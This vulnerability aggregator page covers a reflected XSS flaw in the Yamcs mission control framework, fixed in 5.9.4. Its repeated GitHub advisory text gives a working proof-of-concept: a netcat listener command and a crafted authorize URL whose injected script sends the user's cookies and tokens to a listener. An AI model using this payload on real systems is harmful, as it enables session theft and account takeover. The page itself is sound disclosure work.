CVE-2026-55549
Yamcs: Reflected XSS in the URL of the Authorize Endpoint
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Yamcs: Reflected XSS in the URL of the Authorize Endpoint
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
- Record
CVE-2026-55549- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-67841
6.5
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
- Record
EUVD-2026-67841- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rxpg-wjf8-qv9c
6.5
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />
You then use JavaScript to obtain the user's cookies and display them in the alert:
<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888
- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
- Record
GHSA-rxpg-wjf8-qv9c- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
6.5
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
- Record
CVE-2026-55549- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
6.5
Yamcs: Reflected XSS in the URL of the Authorize Endpoint
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
- Record
CVE-2026-55549- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-rxpg-wjf8-qv9c
6.5
Yamcs has Reflected XSS in the URL of the Authorize Endpoint
Attack type:
Unauthenticated remote
Impact:
Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />
You then use JavaScript to obtain the user's cookies and display them in the alert:
<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce
- Start Yamcs
- Login as a user
- In a terminal, start a netcat listener:
nc -nlvp 8888
- Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou
- You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements
This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
- Record
GHSA-rxpg-wjf8-qv9c- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.yamcs:yamcs-coreMaven |
before 5.9.4 | 5.9.4 |
org.yamcs:yamcs-coreMaven |
before 5.9.4, plus listed versions 0.29.30.30.03.0.03.1.03.1.1 Show 45 moreShow less3.1.23.2.03.2.13.2.23.3.03.3.13.4.03.4.13.4.113.4.23.4.33.4.43.4.53.4.63.4.84.0.04.0.14.1.14.1.24.10.04.10.14.10.24.10.34.10.44.10.54.10.64.10.74.10.84.10.94.2.04.2.14.2.24.3.04.3.14.4.04.4.14.4.24.5.04.6.04.6.14.6.24.6.34.74.7.14.7.3 |
5.9.4 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | Yamcs <=5.8.6 - Cross-Site Scripting |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55549 is a medium vulnerability (CVSS 6.5) in Yamcs, published August 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.31%, the 70th percentile. Fixed in org.yamcs:yamcs-core 5.9.4.
References
github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c
github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3
github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4
github.com/advisories/GHSA-rxpg-wjf8-qv9c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55549.json
nvd.nist.gov/vuln/detail/CVE-2026-55549
github.com/yamcs/yamcs
Left out here: 71 versions. The JSON record has them.